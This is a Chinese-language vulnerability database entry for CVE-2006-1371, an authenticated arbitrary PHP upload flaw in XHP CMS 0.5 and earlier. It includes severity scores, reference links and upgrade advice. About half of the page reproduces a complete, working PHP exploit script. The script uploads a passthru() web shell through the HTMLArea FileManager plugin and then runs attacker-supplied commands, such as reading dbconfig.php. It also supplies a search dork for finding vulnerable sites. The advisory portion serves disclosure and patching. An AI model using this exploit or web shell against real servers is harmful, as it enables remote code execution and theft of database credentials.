CVE-2006-1371
CVSS9.0
发布时间 :2006-03-23 18:06:00
修订时间 :2011-03-07 00:00:00
NMCOE    

[原文]Laurentiu Matei eXpandable Home Page (XHP) CMS 0.5 and earlier allows remote authenticated users to use the HTMLArea FileManager plugin to upload and execute arbitrary PHP files using (1) manager.php, (2) standalonemanager.php, and (3) images.php.


[CNNVD]eXpandable主页CMS多个访问验证漏洞(CNNVD-200603-383)

        Laurentiu Matei eXpandable主页(XHP) CMS 0.5 及其早期版本可让远程经过身份验证的用户通过以下途径使用HTMLArea FileManager插件来上载和执行任意PHP文件:使用(1) manager.php,(2) standalonemanager.php,和(3) images.php。

- CVSS (基础分值)

CVSS分值: 9 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: [--]

- CWE (弱点类目)

CWE-94 [对生成代码的控制不恰当(代码注入)]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1371
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1371
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-383
(官方数据源) CNNVD

- 其它链接及资源

http://secunia.com/advisories/19353
(VENDOR_ADVISORY)  SECUNIA  19353
http://xhp.targetit.ro/index.php?page=3&box_id=34&action=show_single_entry&post_id=10
(UNKNOWN)  CONFIRM  http://xhp.targetit.ro/index.php?page=3&box_id=34&action=show_single_entry&post_id=10
http://xforce.iss.net/xforce/xfdb/25399
(UNKNOWN)  XF  xhpcms-filemanager-file-upload(25399)
http://xforce.iss.net/xforce/xfdb/25399
(UNKNOWN)  XF  xhpcms-filemanager-file-upload(25399)
http://www.vupen.com/english/advisories/2006/1052
(VENDOR_ADVISORY)  VUPEN  ADV-2006-1052
http://www.securityfocus.com/bid/17209
(UNKNOWN)  BID  17209
http://www.osvdb.org/24059
(UNKNOWN)  OSVDB  24059
http://www.osvdb.org/24058
(UNKNOWN)  OSVDB  24058
http://www.milw0rm.com/exploits/1605
(UNKNOWN)  MILW0RM  1605
http://www.attrition.org/pipermail/vim/2006-March/000649.html
(UNKNOWN)  VIM  20060324 XHP vendor ack/fix

- 漏洞信息

eXpandable主页CMS多个访问验证漏洞
高危 访问验证错误
2006-03-23 00:00:00 2006-03-28 00:00:00
远程  
        Laurentiu Matei eXpandable主页(XHP) CMS 0.5 及其早期版本可让远程经过身份验证的用户通过以下途径使用HTMLArea FileManager插件来上载和执行任意PHP文件:使用(1) manager.php,(2) standalonemanager.php,和(3) images.php。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        eXpandable主页eXpandable主页 0.5
        eXpandable Home Page xhp_0_5_1.tar.gz
        http://prdownloads.sourceforge.net/xhp/xhp_0_5_1.tar.gz

- 漏洞信息 (1605)

XHP CMS <= 0.5 (upload) Remote Command Execution Exploit (EDBID:1605)
php webapps
2006-03-22 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "XHP CMS <= 0.5 remote cmmnds xctn\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";

echo "dork: \"powered by XHP CMS\"\r\n\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to XHP\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /xhp/ cat ./../dbconfig.php\r\n";
echo "php ".$argv[0]." localhost /xhp/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}

/* explaination:
 without to have admin rights, you can have access to FileManager plugin
 to upload php files:

 http://[target]/[path_to_xhp]/inc/htmlarea/plugins/FileManager/manager.php

 or

 http://[target]/[path_to_xhp]/inc/htmlarea/plugins/FileManager/standalonemanager.php

 after, you can launch commands from them, ex:

 http://[target]/[path]/filemanager/suntzu.php?cmd=cat%20./../dbconfig.php

									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


srand(make_seed());
$anumber = rand(1,99999);

   echo "[1] Uploading a shell...\r\n";
$data='-----------------------------7d61592213049c
Content-Disposition: form-data; name="dir"

/
-----------------------------7d61592213049c
Content-Disposition: form-data; name="upload"; filename="suntzu'.$anumber.'.php"
Content-Type: text/plain

<?php
if (get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);}
ini_set("max_execution_time",0);
echo "*delim*";
passthru($_GET[cmd]);
echo "*delim*";
?>
-----------------------------7d61592213049c
Content-Disposition: form-data; name="submit"

Upload
-----------------------------7d61592213049c--
';
  $packet="POST ".$p."inc/htmlarea/plugins/FileManager/images.php HTTP/1.0\r\n";
  $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61592213049c\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Content-Length: ".strlen($data)."\r\n";
  $packet.="Connection: close\r\n\r\n";
  $packet.=$data;
  #echo quick_dump($packet);
  sendpacketii($packet);
  sleep(1);
  echo "[2] Launch commands...\r\n";
  $packet="GET ".$p."filemanager/suntzu".$anumber.".php?cmd=".$cmd." HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  #echo quick_dump($packet);
  sendpacketii($packet);
  if (strstr($html,"*delim*"))
  {
  echo "Exploit succeeded...\r\n\r\n";
  $temp=explode("*delim*",$html);
  echo $temp[1];
  }
  else
  {echo "Exploit failed...\r\n";}
?>

# milw0rm.com [2006-03-22]
		

- 漏洞信息

24058
XHP CMS FileManager manager.php Arbitrary PHP File Upload
Remote / Network Access
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2006-03-22 Unknow
2006-03-22 Unknow

- 解决方案

Upgrade to version 0.5.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站